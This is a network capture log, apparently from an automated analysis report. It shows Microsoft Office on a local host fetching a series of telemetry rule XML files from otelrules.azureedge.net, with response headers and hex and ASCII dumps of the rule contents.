2024-12-03 16:55:02 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 13e6cbbb-001e-005a-04a3-43c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165502Z-174f7845968psccphC1EWRuz9s00000016d000000000nu1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:02 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:02 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165502Z-174f7845968jrjrxhC1EWRmmrs000000167g00000000tkru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:02 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:02 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: cdcb5222-c01e-0014-44bd-42a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165502Z-174f7845968zgtf6hC1EWRqd8s0000000z700000000074du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:02 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 241a7da4-a01e-00ab-50cc-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165503Z-174f78459685m244hC1EWRgp2c00000015xg00000000v38m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:02 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 6644a72f-f01e-001f-6d66-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165503Z-174f7845968nxc96hC1EWRspw8000000160g0000000063ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d2a0c1bd-101e-0017-761b-4147c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165504Z-174f7845968jrjrxhC1EWRmmrs00000016ag00000000f9a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: fac49ef3-501e-008f-0a91-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165504Z-174f7845968pf68xhC1EWRr4h800000016g0000000008f9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:05 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:05 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5c0b5b13-501e-0029-27ec-44d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165505Z-174f7845968glpgnhC1EWR7uec00000016ag00000000mxw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:05 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:05 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 21da0aac-a01e-0021-7d18-43814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165505Z-174f7845968swgbqhC1EWRmnb4000000168000000000upb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:05 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:05 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:05 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6da3e3c6-601e-0084-52b4-426b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165505Z-174f7845968n2hr8hC1EWR9cag00000015w000000000attx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:05 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:07 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165507Z-174f7845968kdththC1EWRzvxn0000000kkg00000000bft0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:07 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:55:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:55:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:55:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d60b28b-101e-0017-33c7-4347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T165507Z-174f7845968xlwnmhC1EWR0sv800000015z000000000qgd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:55:07 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

